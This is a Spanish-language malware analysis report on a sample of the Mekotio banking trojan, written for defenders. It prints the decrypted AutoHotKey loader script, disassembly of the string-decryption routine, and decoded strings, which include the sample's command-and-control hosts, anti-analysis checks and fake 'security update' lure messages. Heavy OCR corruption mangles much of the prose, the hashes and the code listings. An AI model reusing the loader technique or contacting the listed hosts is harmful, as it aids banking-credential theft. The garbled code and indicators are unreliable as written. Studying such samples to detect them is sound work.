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1. Sobre este estudio

Este estudio contiene un informe técnico detallado, realizado tras el andlisis de una muestra
de cadigo dafiino identificada en VirusTotal, como perteneciente a la familia Mekotio y cuyo
principal objetivo es el de identificar las acciones que realiza, mediante un analisis
avanzado de la muestra, haciendo uso del conjunto de herramientas utilizadas por el
equipo de analistas.

Las acciones llevadas a cabo para su elaboracion comprenden un andlisis estéatico y
dinamico dentro de un entorno controlado. Cabe destacar que la muestra analizada ya
habia sido subida con anterioridad a la plataforma de VirusTotal, lo que la hace publica y
accesible para cualquier analista que disponga de una cuenta de pago en dicha plataforma.

Este estudio esta dirigido de forma general a los profesionales de Tl y de ciberseguridad,
investigadores y analistas técnicos interesados en el analisis e investigacion de este tipo
de amenazas, asi como a administradores de sistemas y redes Tl con el objetivo de que
mantengan sus equipos actualizados y seguros frente a esta amenaza. También puede
resultar de especial interés para aquellos que hacen uso de servicios de banca online o de
criptodivisas.

En cuanto a la metodologia seguida, las tareas de reversing se han realizado con x64dbg,
IDA e IDR.
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2. Organizacion del documento

Este documento consta de una 3.- Introduccién , en la que se expone el tipo de amenaza
gue representa la familia de malware Mekotio, a qué victimas esté dirigido, su evolucién en
el tiempo y el modus operandi que siguen los ciberdelincuentes que lo utilizan.

A continuacion, en el apartado 4.- Informe técnico, se recogen los resultados del analisis
dinamico y estético de la muestra de Mekotio que ha sido analizada, partiendo de como
conseguir lainformacién que contiene el fichero con el que se va a trabajar, las capacidades
del malware y sus acciones, hasta sus técnicas de antideteccion, de antingenieria inversa
y de persistencia.

Finalmente, el apartado 5.- Conclusién, agrupa los aspectos mas importantes tratados a lo
largo del estudio.

Adicionalmente, el documento cuenta con dos anexos. En el Anexo 1: Indicadores de
Compromiso (I0C) se visualiza una regla |IOC preparada para la deteccion de esta muestra
concreta, y en el Anexo 2: reglas Yara una regla Yara creada exclusivamente para la
deteccidén de muestras relacionadas con esta campafia.
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3. Introduccion

El codigo dafiino Mekotio, también conocido como BestaFera, representa una amenaza
grave para todos aquellos usuarios que hacen uso de servicios de banca online o de
criptodivisas, concretamente de Bitcoins, ya que es un troyano bancario, que afecta a todas
las versiones desde Windows XP hasta Windows 10.

Mekotio fue detectado por primera vez en marzo de 2018 y, desde entonces, su cédigo y
funcionalidades han ido evolucionando, pero sin perder nunca el foco en su objetivo
principal, la banca online.

En sus primeras etapas de desarrollo, estaba especialmente enfocado a usuarios
brasilefios o clientes de entidades bancarias ubicadas en Brasil, pero con el paso del
tiempo se han ido diversificando, incluyendo paises, como Chile, México, Colombia,
Argentina, Espafia, etc., la mayoria de ellos de habla hispana.

El ‘modus operandi’ de los atacantes se centra principalmente en el envio de correos
electrénicos fraudulentos con el fichero malicioso adjunto con el que intentar infectar la
maquina. Con el objetivo de evadir las posibles detecciones por parte de las aplicaciones
antivirus, la ejecucién se divide en diferentes ficheros que, a su vez, se encuentran
protegidos con diversas técnicas que varian segun la muestra.

Una vez infectada la maquina, existen diferentes funcionalidades encargadas de analizar
cada una de las ventanas en ejecucion en busca de navegadores de Internet, con la
finalidad de encontrar la direccién de navegacion y comprobar si se encuentra dentro de
su listado de afectadas. En caso de concluir de forma satisfactoria, se ejecuta otra funcion
encargada de engafar al usuario para robarle las credenciales de acceso y enviarlas al
servidor de comando y control del atacante.

La siguiente informacién ha sido obtenida de VirusTotal, donde se encuentra subida la
muestra:

SHA256 Nombre

9572a6e0d50bd67¢c35ch70653661719c6c8034254f55e4693cfbfafb2768c59¢c | MUQFRYIRGO.dII

Tabla 1. Detalles de la muestra maliciosa
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4. Informe técnico

A continuacion, se detalla la informacién obtenida durante el analisis de la muestra.

4.1. Informacién general

El archivo analizado se trata de una libreria de Windows, el cual puede ser ejecutado
mediante un cargador. La firma de la muestra es la siguiente:

Algoritmo Hash

MD5 a5e3285f76d05ae20274cff6d7084fe3

SHA1 6b215c986b7a48d80a093e44edd76008a316cch6
9572a6e0d50bd67¢c35ch70653661719c6c8034254f55e4693cfbfafb2768¢

SHA256 50c

Tabla 2. Detalles de la muestra de cédigo malicioso

Para obtener mas informacién sobre los ficheros a analizar, se hace uso del comando file
desde Linux:

‘ PE32+ executable (DLL) (GUI) x86-64, for MS Windows

4.2. Resumen de acciones

El cédigo dafiino es capaz de realizar lo siguiente:

Carga de la DLL desde un script de AutoHotKey.

Funcion encargada del descifrado de las cadenas de texto.

Proceso de obtencion del sistema operativo y arquitectura.

Método encargado de adquirir los antivirus instalados.

Finalizacion de procesos asociados a navegadores web.

Un algoritmo de generacion de cadenas aleatorias.

El envio de informacion al C&C.

La creacion de un proxy para la redireccion de las peticiones.

La realizacion de la descarga de informacion desde Internet para actualizar la
configuracion.

Obtencion del navegador predeterminado.

Toma de control del portapapeles.

Deteccion de ventanas asociadas a los navegadores (Internet Explorer, Firefox,
Chrome, etc.).

®m Obtencion de persistencia en la maquina.
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4.3. Analisis detallado

Para inicializar el codigo, es necesaria la ejecucion del Unico ejecutable del directorio,
tratdndose de un fichero legitimo correspondiente a una version de AutoHotKey. El script
en texto plano (svshshots.ahk) y ejecutado gracias al intérprete tiene el mismo nombre que
el fichero portable de AutoHotKey (svshshots.exe).

|| GUSNHCPHIZLEM.vrmp 10/02/2021 17:56 Archivo WVMP 2KB
%) MUQFRYIRGO.dII 05/07/201911:41 Extension de la apl.. 71739 KB

KMSXBADNIOOFASKEWYDEBZVIGGZ.., 11/02/2021 11:27 Protector de pant... 13128 KB
|| svshshots.ahk 10/02/2021 17:56 Archivo AHE 24 KB

L'_.i.l svshshots.exe 11/02/2021 11:27 Aplicacion 1171 KB

llustracion 1. Directorio de ejecucion.

El fichero “svshshots.exe” es responsable de realizar la carga de “MUQFRYIRGO.dII” que
contiene las funcionalidades maliciosas. El script comprueba la arquitectura (32bits o
64bits) y, en base a ella, carga en memoria una pequefia seccién escrita en cédigo
maquina. Para finalizar, cambia los permisos  de la  regién a
“PAGE_EXECUTE_READWRITE” para su posterior ejecucion.

MCode (RDS NRJINNM,

llustracion 2. Variables “x32” y “x64” con el cé6digo maquina asociado a cada una de las arquitecturas
y llamada a la funcién “MCode”, encargada de realizar el cambio de permisos de la regién de
memoria.

Tras finalizar el cambio de permisos, llama a la funcién “DIICall”, para hacer un salto a la
direccion de memoria donde se aloja el cédigo para la arquitectura actual y con los
permisos necesarios para realizar su ejecucion. Ademas, se le mandan por parametro los
siguientes valores:

®  “Ahk”: contiene la ruta al fichero portable de AutoHotKey.

B “args”: argumentos enviados durante la ejecucion.

B “base”: la direccién base a la libreria Kernel32.dlII.

m  “&str’: el puntero a la variable que contiene el nuevo cddigo AutoHotKey ofuscado

en s.
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3=

.="u565796926u1555740597Tul259231568u2248437892ul075650729uT3891"
L="8535u5809884T8024425628402301702346065716102ul192545690Tu3984™
.="437958ul18531906420206998627Tul1957669868u110188696Tu69E1945u5"
.="59161525u742963396u219484208u290066729%u4294799193u445906803"
L="u3989455676u28864047992099211758u3484071631u2696010234u3215"
L="372460u97777741Tu3208136539u969214390u2220154455u55545851ula"
L="T71036384u3401591673u2847636489168688874303224557046u2066807"
.="595u1262368011u1919399332u144318294803171711458ul002528975ul"
L="02T782723Tu307908247Tu3104577371u2394802150u25541845940278655"
L="1998u2946737272u2266925573u596512837Tu3040892340ul1371511803u2"
L="545932286u3961816234u855054256ul122979428ul638185625u21725992"
L="2ul214713813u867202264ul1777659418u3517716911u2110247264u6293"
.="25041u3958705517u2111608422u3691848370ul843948458u3127630680™
L="ud5171742202421423540u1892404101ul441887688u9E863846450346190™

W 0 W W W W W W W W W W W W

llustracion 3. Contenido de la variable “s” observado desde el codigo AutoHotKey.

. “intll.
B size: el tamano del contenido de la variable “str”.

Después de extraer el contenido de ambas variables y convertirlo a binario, se ha
comprobado que ambas arquitecturas comparten la misma funcionalidad, por lo tanto, se
procedera a mostrar solamente el andlisis de la versién de 64 bits.

El codigo cargado solo contiene una funcion, dentro de ella se obtienen el resto de las
llamadas a API necesarias para su correcto funcionamiento, haciendo uso de la libreria
“GetProcAddress”.

ss = (kernel32_dll + v73});
e_s "WriteFile™});
ddress{kernel32_dll, WriteFile_str);
"GlobalAlloc™);

wddress (kernel32_dll, GlebalAlloc_str);
"GlobalFree");

3
dress(kernel32_dll, GlobalFree_str);

GlobalFree_
strepy(CreatePr tr, "CreateProcessA™);
GlobalFree =

CreateProcess
strcpy(CreateNamedPipes
CreateProcessA = CreatePr

Address(kernel32_dll, CreateProcessA_str);
» "CreateNamedPipeA™);

3
dress(kernel32_dll, CreateNamedPiped_str);

CreateNamedPiped = GetPr
strcpy(ConnectNamedPipe_str, "ConnectNamedPipe™);
CreateNamedPipeA = CreateNamedPipeA_;

ConnectNamedPipe_
strepy(CloseHandle
ConnectNamedPipe =
CloseHandle = GetPr
strepy(QueryPer

ProcAddress(kernel32_dll, ConnectNamedPipe_str);
"CloseHandle™);

nectNamedPipe_;

dress(kernel32_d11l, CloseHandle_str};
"QueryPerformanceCounter™);

QueryPerf = Get Address(kernel32_dll, QueryPerformanceCounter_str};
strepy(ls s "lstrcatA");

lstrcath :P’cd%dd’ess({e’nelBE_dll, lstrcath_str);

strepy(lstrlend_a, "lstrlenA");

lstrlenA = GetProcAddress(kernel32_dl1l, lstrlenA_a);

strepy(Create ry, "CreateFileA");

CreateFiled Address(kernel32_dll, CreateFileA_str);

strepy(Read _str, "ReadFile");

ReadFile = GetProcAddress{kernel32_dll, ReadFile_str};

llustracion 4. Seccion de codigo encargada de la obtencion dindmica de las funciones necesarias.

El objetivo final es descifrar el contenido de la variable “s”, contenida en el script, escribirlo
en un fichero virtual y usar el fichero como pardmetro de una nueva ejecucion desde
“svshshots.exe” que se encargara de interpretarlo y cargar la funcién maliciosa del fichero
“‘MUQFRYIRGO.dII".
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Para hacer uso del fichero virtual, se hace uso de la funcionalidad “NamedPipe”, cuya
funcién “CreateNamedPipeA” es la encargada de crear el objeto con el nombre que se le
agregue por parametro:

strepy(pipe_name, "\\\\.\\pipe\\AHK12345678");

named_pipel = CreateNamedPipeA(pipe_name, 2i64, 0is64, 255i64, v46, v45, v44, @i64);

named 1 1 = named_pipel;

if v43 == -1 || named_pipel == -1 )

llustracion 5. Creacién del “NamedPipe”.

Tras la correcta creacion del fichero virtual, se continda con la generacién de un nuevo
proceso de AutoHotKey, con los siguientes parametros:

. “/f 13
B nombre del “NamedPipe”

Si el proceso se crea de forma satisfactoria se comienza con el proceso de descifrado del
nuevo script:

if ( CreateProcessA(@i64, v32, 9164, @is4, v6l, v63, @164, @isd, &v95, &vo3) )

{
CloseHandle(w93);
CloseHandle(wv34);
VS8 = BiB4;
if ( a5 )
do
{
*(u32 + 4 * v58) = *(v7 + 4 * v58);
++vSa;
while { a5 > vS8 };
w58 = 4i64 * a5;
*(w32 + v58) = 8;
w85 = 11;
wS1 = 11;
vB6 = 13;
w87 = 17;
v52 = @;
vB3 = 19;
while { 1 )
{
V53 = w52 & 3;
54 = 524+ + 131 * vsl
*(&ES + v53) = v54;
if ( w52 == 188 )
break;
w51 = *(&B5 + (v52 & 3));
V55 = Bif4;
if { a5 )
{
do
{
VEE = w55 & 3;
w57 = w55 + 131 * *(&B5 + v56);
*(&UB5 + V56) = V573

v73 = __ROL4_ (_ ROLA_ (*(v32 + 4 * v55), 1) - w57, 1) - vS7;
*(y32 + 4 * V554+) = v73;

while { a5 » w55 );

llustracion 6. Proceso de creacion del nuevo proceso y descifrado del contenido del nuevo script.
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Una vez se descifra el contenido, se utiliza la libreria “ConnectNamedPipe” para obtener el
“handler” necesario para poder realizar la escritura del contenido descifrado en el fichero

virtual:

Cem—— =

" C e e s
ConnectNamedPipe(v43, @isd);
CloseHandle(v43);
ConnectNamedPipe(v43, @isd);
WriteFile(v48, w32, v3e, &73, @i6d);
CloseHandle(v48};

llustracion 7. Escritura del contenido descifrado en el fichero virtual.

El nuevo codigo AutoHotKey, se encarga de comprobar si ya existe alguna otra instancia
en ejecucién y, en caso de no encontrar ninguna otra, hace uso del método interno “DIICall”
para llamar a la funcién “EQVI9HXHNF89GP775AL0YG3TNO2EFCB8E3V” del fichero
‘“MUQFRYIRGO.dII". A continuacion, se puede observar el contenido cargado dentro del
fichero virtual e interpretado por el fichero portable de AutoHotKey:

TLP:WHITE
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Contenido de la variable “s” descifrado

ListLines, Off

OnlyOne()

OnlyOne(flag="") {
if (flag=""

EnvGet, file, My_ScriptFullPath

if RegExMatch(file, "i)\.(exe|com|scr|bat|cmd)\s*$")
Menu, Tray, Icon, %file%

SetWorkingDir, % RegExReplace(file, "\["\][*$")

flag:=file

}
DetectHiddenWindows, % (dhw:=A_DetectHiddenWindows) ? "On":"On"
hash:=0, Ptr:=(A_PtrSize ? "UPtr":"UInt")
Loop, Parse, flag

hash:=(hash*31+Asc(A_LoopField))&0xFFFFFFFF
Name:="Ahk_OnlyOne_" hash
While Mutex:=DIICall("OpenMutex","int",0x100000,"int",0,"str",Name)

DlICall("CloseHandle", Ptr,Mutex)
While WinExist('<<" flag ">> ahk_class AutoHotkey")

{
WinGet, pid, PID
WinClose,,, 3
IfWinExist

Process, Close, %pid%
Process, WaitClose, %pid%, 3
}
}

}

DlICall("CreateMutex", Ptr,0, "int",0, "str",Name)

IfEqual, A_LastError, 0xB7, ExitApp
pid:=DlICall("GetCurrentProcessld")

WinSetTitle, ahk_pid %pid% ahk_class AutoHotkey,, <<%flag%>>
DetectHiddenWindows, %dhw%

Reload(args="") {
global
Loop, %0%
args.=""" (%A _Index%) """
local file
EnvGet, file, My_ScriptFullPath
if (file="")
return
if RegExMatch(file, "i)\.(exe|com|scr|bat|cmd)\s*$")
Run, "%file%" /f %args%,, UseErrorLevel
else
Run, "%A_AhkPath%" /f "%file%" %args%,, UseErrorLevel
ExitApp
}
ListLines, On
#NoEnv
#NoTraylcon
#Singlelnstance off
SetWorkingDir %A_ScriptDir%
W1YVPO1XDCRNYBAQBOEPPXGDNNLL7 := "MUQFRYIRGO"
DlICallW1YVPO1XDCRNYB6AQBOEPPXGDNNLL7 . \EQVIHXHNF89GP775AL0YG3TNO2EFCB8E3V")

ExitApp
#Singlelnstance off

Tabla 3. Contenido descifrado de la variable “s”.
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Por otro lado, los ficheros con extensién “vmp” y “src” son utilizados por el cédigo malicioso
para obtener persistencia dentro de la maquina y no tiene ningun tipo de implicacién en el
proceso de ejecucion.

Se continua el analisis con el fichero “MUQFRYIRGO.dII", que contiene el codigo malicioso.
En la siguiente imagen se puede observar la tabla de exportaciones que contiene cuatro
funciones diferentes, siendo la tltima la principal:

Exported Functions [ 4 entries |

Offzet COrdinal Function RVA Mame RVA Mame

695028 1 6962598 729083 dbkFCallWrapperfddr

69502C 2 1CEED 720044 _ dblk_fcall_wrapper

695030 3 QEBDD 729085 TMethodImplementationlntercept

695034 4 5E57BO 720062 IEQWIHKHNFBQG PT73ALOYGITMOZEFC E»EE%‘.-"I

llustracion 8. Tabla de exportaciones.

Para comenzar el andlisis y debido a que se trata de codigo desarrollado en Embarcadero
Delphi, se utilizara la herramienta IDR (Interactive Delphi Reconstructor), que permite
interpretar las funciones internas del lenguaje.

sub Fsp,28

call 887495E8

nov rocy,rax

call 8a747BDB

call BA9E3638

nou rax,quord ptr [BRSEICAH]
mowv rcx,quword ptr [rax]
call BA729F58

nou rax,quord ptr [BASESCAH]
nov rax,qword ptr [rax]

mow byte ptr [rax+6D3],8
nou rax,quword ptr [BASESCAH]
nou rcx,quord ptr [rax]

nov rdx,quord ptr [9a0500]:|
mow ri,quord ptyr [BABEAZAT: TUar TEETRED i)
call 88729F880

nov rax,qword ptr [BASEYCH]
mow rcx,quword ptr [rax]
call ae72a178

add rsp,28

ret

llustracion 9. Resultado de la funcién principal con IDR.

En la imagen anterior se aprecian seis instrucciones de tipo “call’; pudiendo observarse en
las direcciones de memoria a las que se llama que una de ellas es del tipo 009XXXXX y el
resto 0072XXXX. Durante la realizacion del andlisis, se ha observado que en las del primer
tipo es donde reside gran parte de la funcionalidad desarrollada por los atacantes.

En la pendltima llamada se observa que se le esta pasando como argumento un puntero a
un objeto con nombre ofuscado. Haciendo uso de la herramienta IDR se puede observar
una redireccion a una serie de objetos de tipo formulario.
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& TForm #08878D968 Sz=6B8

- <E»
- <U»
iuTMESSageFurm #A0663398 Sz=6C0
i TInputQueryForm #00665588 Sz=56C0
- TUWDY66(Q30GF OBYLXNIUVUKD27HNJ92ZKXUA) #B0967A88 Sz=6D06
TQTU3IRIS13LGHPF336Z29BH87HOMOZ1KTC7AKLFA HOB968488 S52=770
-TBUULEBTOADIBE3IJQJIQB7PKZOSHD #0096AB50 Sz=7DO
TDLBIFN2FZ2UB01GJZLHY1 4XHHOXEIUZE2HCWTWR H#O097BO50 32=758
TUY4Z2PSUUBGBNTZD57WAIKFOGMDFEEVARZQ8M #O097D488 Sz=748
TBHD7CHPSDKUQYD707B57UX8WUB6FD #OO97F130 Sz=748
- TIUSBGROM7Z3UCHSIDT70UXSB763B70NI 02TOUY H#OO98BBFO Sz=6D8
TRJWKKZS7DFDEBSUDRHLS7BUXUSDPESLULNL #O09819808 Sz=720
THRHBZ3YPKJHS1PSOB7LTHKF BHJUZJLFUSQ] #080983198 Sz=720
TIBU1SHACB4HG6ZQTSZAENAJUGKIMPKLL OG2BMHE H#OOB984700 3z=6E0
TASKUWTHWKHBBCEOIAZYYESREDSSU #00985560 Sz=728
TBYIRXYUFXO45YGI3QETTILLFQ9K3VLHEZHOH #00986F40 52=938
TDEM8SUBRBTHUEPNB7KBZ2XY6 1805 YHP /M2 #O898DADO 5z=9D8
TYHKEZMSLAYHN1T4FBUHLHILROHZ1XY I OBUH #00997910 Sz=768
-THQ5Q0308HLMBOXHETSROP1FRTZYB62IJLAPFU22DI0 #BB999BF O Sz=750
TOBXUONZSAIHMMF6JUIFEBOTZYBEMZ74J IEQSQUKXEC #0099BB8A Sz=7D0O
- TYJK7UKABHUBNSHBUOCLIBEAEDFRODO3TE0Z0PUKSOK #OO099ECFA 3z=768
TEXKRUDTZUYI921KP1RFXJBSBHMYBSLJGEIS #OO9ABF B0 Sz=750
-TTRIBLCWIZULKUDPHL JSHASBYSURPY #OOB9A3440 Sz=880
-TUM2IS4P JRHBLSTHIKFDAXSL5LAZ7UJEQE H#BB9AY6CH 3z=6E0
- TELHEABHRPUT36GUNDS7KCWL1ISXS6UG8 #HOB9AASDA Sz=7A8

-
&
&
i

[+

-
-
-
-
-
-
-
-
ﬁ.

llustracion 10. Objetos de tipo formulario enumerados con el IDR.

Cada uno de estos formularios tiene asociadas una serie de funciones, que pueden ser
visibles ampliando el desplegable. El resultado es similar al siguiente:

£ TELNERBHRPUT36GUNDS7KCUL1ISXS6U68 HOBYAASDO Sz=7A8
- <E>
. #809B1548 TKLHEABHRPUT36GUNDS7KCWL1ISKS6UAS . COX7HLY SRXXDUDYKIUYLI82L GS49Disconnect
- #009B1598 TKLHEABHRPUT36GUNDS7KCHWL1ISXS6U6S . COX7HLY SRXXDUDYKI4YLI82L GSA9ErFor
- #B09B15F8 TKLHEABHRPUT36GUNDS7KCWL1ISKS6U6S . COX7HLY 3REXDUDYK34YLI82LGS49Connect
- #B09B17F 8 TKLHEABHRPUT36GUNDSZKCWL1ISXS6U6S . WIRTSXALB30JCCOEVEGBTGPGBAZCGRIALXUTABAErFor
.. #809B2C58 TKLHEABHRPUT36GUNDS7KCWL1ISXS6U6S . WIRTSXALB30JCCOEVERBT6PGBAZCGRIALXUTL B4R ad
- #B09B35A0 TKLMEABHRPUT36GUNDS7KCWL1ISXS6UGS. COXZHLYSRXEDUDYKILYLIB2L GSA9Read
- #009CDO58 TKLHEABHRPUT3G6GUNDSFKCWL1ISXS6U6S . WIRTSXOLB20JCC OEVEGBT6PGBAZC6RI OLXUTABACONNECE
. #B09CD3FA TKLHEABHRPUT36GUNDSZKCWL1ISXS6UAS . YRSNNNZ TSATQIYS22UY9FKEAPHPFREVODS BNTL36Eror
- #009CD4AA TKLHEABHRPUT36GUNDS7KCHLISXS6U6S . YRSNNNZ TSATOIY822UY9FKEAPHPFREVQDS BNTL36ConneCt

- QIY822UY9FKGAPHPFRXVQDS BNTL36Read
-{#OB9E1F88 TKLNEABHRPUT36GUNDSZKCWLAISXS6U68.FormCreate

- #0B9CDAHCH TKLNEABHRPUT36GUNDSFKCWL1ISKS6UG8 . .FormClose

- #889DB558 TKLHEABHRPUT36GUNDSZKCWLAISXS6U6E . ANBFRSGX BH7BPUWI BEVLINCYHFEUSB2Timer

- #089DB578 TKLNEABHRPUT36GUNDSZKCWL1ISX36U68 .. FormShow

.. #889DB5A8 TKLHEABHRPUT36GUNDSZKCWL1ISXS6UGE .DBPEXXGXCUVUXS3UBEDB2Y3SLUA1ZKM3RC1JZHT imer

llustracion 11. Funciones internas del formulario con el IDR.

Los nombres de la mayoria de las funciones se encuentran ofuscados, pero en algunos de
ellos, justo al final del nombre, se aprecia una palabra que describe su funcionalidad. Los
terminados en “Connect”, “Disconnect”, “Error” y “Read” se corresponden con las
funciones encargadas de gestionar la comunicacion con el servidor de comando y control.
Los terminados en “Timer”, como su propio nombre indica, son Timers definidos sobre un
objeto en un periodo de tiempo. Finalmente, se observa la funcién “FormCreate”
encargada de la ejecucion del objeto Form.
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Una vez extraida la funcion “FormCreate”, que se podria considerar el cédigo principal del
programa, se procede a traspasar el conocimiento a la herramienta IDA, con la que se
continuara el andlisis:

mov rcx, [rbptarg_@]
lea rdx, [rbp+var_sl178]
call sub_9AF318

lea rcx, gqword B1FC@e
mov rdx, [rbptvar_s178]
call sub_412748

mov rax, cs:off_ABEGES
mov byte ptr [rax], 1
mov cs:byte BLFBCE, @
lea rcx, [rbptvar_s168]
lea rdx, aE5128815242152 ; "ES5128815242152F7@F122745DD62EF73"
call sub_94E4E@

lea rcx, [rbp+var_s16@]
mav rdx, [rbpt+var_sl68]
call sub_413CB@

mov rcx, [rbp+arg_@]
lea rdx, [rbptvar_s17@]
mov r8, [rbp+var_s16@]
call sub_9AFCRE

lea rcx, gword_B1lFCES
mov rdx, [rbp+var_sl17@8]
lea rd, gqword_9E2FGE
call sub_413FD8

lea rcx, [rbp+var_sl158]
lea rdx, a73eeBccle?_@ ; "73EERCCLET"

call sub_ 94E4E@

llustracion 12. Seccion de cédigo del “FormCreate” extraida con IDA.

En la imagen anterior se observan distintas referencias a cadenas de texto que parecen
estar ofuscadas. También se observa que, tras cada referencia a una cadena, se llama a
la misma funciéon con nombre “sub_94E4EQ”. Una vez dentro de esa funcion se observan
varias transformaciones con métodos internos de Delphi y una llamada a otra funcién:

vars3e[e] = aie4;

vars2i = 8i6d;

vars3e[1l] = (__inte4)& &;
UstrFromLstr{&vars25, a2);

sub 94E2DA(vars38, vars28);
LstrFromUstr{al, vars3e[@], eisd);
UstrarrayClear(&vars28, 2isd);
return al;

llustracion 13. Cédigo descompilado de la funcién “sub_94E4EQ”.

Dentro de la subrutina “sub_94E2D0” se encuentra el codigo encargado de descifrar cada
una de las cadenas de caracteres que le proporcione a la funcién. A continuacion, se puede
observar la primera parte del cédigo:
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loc_94E35C:
xor eszi, esi
lea rcx, [rbptvar_s4e]
mov rdx, [rbptcipher_str] ; String cifrada
mov rad, 1 ; Indice de 1a string
mov rod, 2 ; Mimero de caracteres a leer
call get_substr
lea rcx, [rbptvar_s4d]
lea rdx, dword_94£4D4
mov r8, [rbpt+var_s48]
call @ustrcats
mov rex, [rbptvar_s4g]
call hex_from_ascii
mov edi, eax ; Almacena en EDI el sustraendo del SUB
mov rl3d, 3 ; Mueve el indice 2 posiciones
P
loc_94E39F:
lea rex, [rbptvar_s3@]
mov rdx, [rbp+cipher_str] ; String cifrada
mov réd, rl3d ; Indice actual
mov rod, 2 3 Nimero de caracteres a leer
call get_substr
lea rex, [rbptvar_s38]
lea rdx, dword_94E4D4
mov rg, [rbptvar_s38]
call @ustrCat3
mov rex, [rbptvar_s38]
call hex_from_ascii
mov rldd, eax ; Almacena en EAX el primer operando del XOR
cmp esi, ebx ; Comprueba si se ha llegade al final de la clave
jge short loc_ 94E3E1
L] i ¥
il i = il e [
add esi, 1
jmp short loc_94E3E6 ; Clave loc_94E3EL:
T mov esi, 1

llustracion 14. Primera etapa del algoritmo de descifrado.

En la imagen anterior se aprecia como por cada una de las cadenas suministradas a la
rutina, el codigo extrae los cuatro primeros caracteres y los transforma en dos variables,
tomandolos en formato hexadecimal.

Por ejemplo, si se enviase la cadena “73EEO0CC167”, el resultado seria el siguiente:

B Varl=0x73.
B Var2=0xEE.

Luego se contindia con una operacion XOR con el caracter de la clave que indique el indice,
en hexadecimal, y el par de caracteres de la clave que se almacenaron en “Var2”
anteriormente. El siguiente paso que se observa es una resta entre el resultado de la
anterior operacion y EDI, con la particularidad de que si el resultado es negativo lo convierte
en positivo. Finalmente, concatena el resultado, actualiza el indice y repite las operaciones
hasta que haya recorrido toda la cadena.
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Yy
P
loc_94E3E6: 3 Clave
mov rax, cs:off_A8F23e
mov rax, [rax]
movsxd reox, esi ; Indice de la clave
movzx  eax, word ptr [raxtrex®2-2] ; Caracter (hex) de la Clave
mov ecx, rlad ; Par de caracteres de la String
xor ecx, eax
mov eax, ecx
cmp eax, edi ; Comprueba que el resultado del SUB nc sea negative
jg short loc_94E40D
L ] - Y
il e = FEE]
sub eax, edi
add eax, @FFh ; Convierte el resultado a positive loc_94E4@D:
jmp short loc_94E48F sub eax, edi
1 Y ¥ J
]
loc_94E48F:
lea rcx, [rbptvar_s28]
mov edx, eax
call sub_413BB@ ; Concatena el char descifrade
lea rcx, [rbp+decipher_str]
mov rdx, [rbpt+var_s28]
call sub_413Fee ; Almacena la cadena descifrada
mov edi, rid4d
add rl3d, 2 3 Mueve el indice 2 posicicnes
xor eax, eax
mov rcx, [rbptcipher_str]
test rex, rox
jz short loc_94E43F
loc_94E43F:
cmp rl3d, eax
j1 loc_94E33F

llustracion 15. Segunda etapa del algoritmo de descifrado.

El resultado para el ejemplo anterior es la transformacion de “73EEQ0CC167” a “hktg”.

Una vez aplicado el algoritmo a cada uno de los textos cifrados y renombradas las
funciones propias de Delphi, el cédigo queda mucho mas claro y sencillo de analizar.
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lea rcx, qword_B2@aD8

lea rdx, unk_9E2D@8 ; EQVIHXHNFE9GP77SALBYG3TNOZEFCBBE3V
call @Ustrasig

lea rcx, qword_BLFC98

lea rdx, a5ef33ef32a3255 ; http://htserverths.westus2.cloudapp.azure.com/?oriudfjdfijas
call @ustrasig

lea rcx, gqword_BLFCAS

lea rdx, a51fled3lesladd ; sicweb.servegame.com
call @ustrasig

lea rcx, qword_B1FCBS

lea rdx, aB48d9B83T7 ; 4926
call @ustrasig

lea rcx, qword_BLlFCCE

lea rdx, af6e84b3e253abd ; 744-GOD3--82-82 (Version)
call @ustrasig

mov rcx, cs:qword_B1FEG®

mov edx, 6Dh ; 'm’

call TimeToProcessMessages

mov rcx, [rbp+arg_@]

lea rdx, [rbp+var_s18@]

mov r8d, @Dh

call Randomstr

lea rcx, qword_BLFC3@

mov rdx, [rbp+var_s188]

call @ustrasig

mov rcx, [rbp+arg_@]

lea rdx, [rbp+var_s178]

call Computeriame

lea rcx, gqword_BlFCea

mov rdx, [rbp+var_s178]

call @ustrasig

mov rax, cs:off ABEGB3

mov byte ptr [rax], 1

mov cs:byte_B1FBCS, @

lea rcx, [rbp+var_s168]

lea rdx, aE5128815242152 ; ALLUSERSPROFILE
call DecodesStr

lea rcx, [rbp+var_s16@]

mov rdx, [rbp+var_s168]

call @UstrFromLStr

mov rcx, [rbp+arg_@]

lea rdx, [rbp+var_s17@]

mov r8, [rbptvar_sle@]

call ExpandVar

lea rcx, gqword_BLFCES

mov rdx, [rbp+var_s17@]

lea r8, gword_9E2F68 ; \

call @ustriats

lea rcx, [rbp+var_s158]

lea rdx, a73eeBccle?_@ ; hktg
call DecodeStr

llustracion 16. Funcion visualizada en IDA tras el descifrado de las cadenas y el renombramiento de
las rutinas.

Tras decodificar todas las cadenas almacenadas dentro de la muestra, ha sido posible
identificar las mas relevantes:
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Cadena codificada Decodificacion

67889C4D8B88D91FD1769A3337D9133E

VBoxService.exe

71F1022AC15088A791B866E1 SbieDIl.dll
EE669E47E11149EA5D8CBB1B dbghelp.dll
7CF03237D263EC072AC276F53EE61BC667E3 IsDebuggerPresent

92DD15C67EB228D87EA14587F120D4B24691A73FFF5CC7CCAF

Verificando su acceso...

76FD35EA1ADB0924CC71D2708A45ED112D758ADDB01731A14282BC739C32
3069D1

Revisando plugin de
seguridad...

88EEOEC07BB610220627CFDC062ED40C2CAD4190B9EA025E84D36086B326
C21BD37191383259D6

Sistema de seguridad
desactualizado...

274F92F31B28A84DEALACO083FE71039F52EC00637AB86D2140232F520A04
059C1AB

Su actualizacién esta
en curso...

42B34F83A85CFA31D6082FAD9BB95C965E87A038FF52F85B9F3833012E925
38F44ED4A86A0F9369432DEOCC70267CFB7

Descargando
actualizacion, espere un
momento...

E70424D60530A85983AA594AEE21C7788B93A739E0658BCE6DD16495B615D
3371132E16B84CF64B51BC0A14882B844F8588C8F88EQ

Instalando nueva
actualizacion, espere un
momento...

A9C76088A559FC21051FC3180D2BD60535AE419E

Inicio MagCallback

9A27C674AF419A5C8B88A737F520C2629C3DFF41F866953CFE45F60839955
CB9

winmgmts:\localhost\ro
ot\cimv2

254DC450DB49A99A99B76BECO002ADI9BF549EBE3E13598FC4A2E21536EE67
89DD1439E3729132F4588DB3

SELECT Caption
FROM
Win32_OperatingSyste
m

Control
F8092EDD1CDB7CBBIFA24786BD6FBABBBFOB25ABS6F51FAFEDBAIISBIAD | ol i b window
46AE91AC76FDB :

Metrics
OF6583B251EC669999A4AE AppliedDPI
98C143D354FE62F007011E5897BF73A44A81B41B3AA24196AF29F739116C90 WagmARE\M'”OSO“\
DB598AB81223A84C93C872A4498DACS3 .

NT\CurrentVersion\
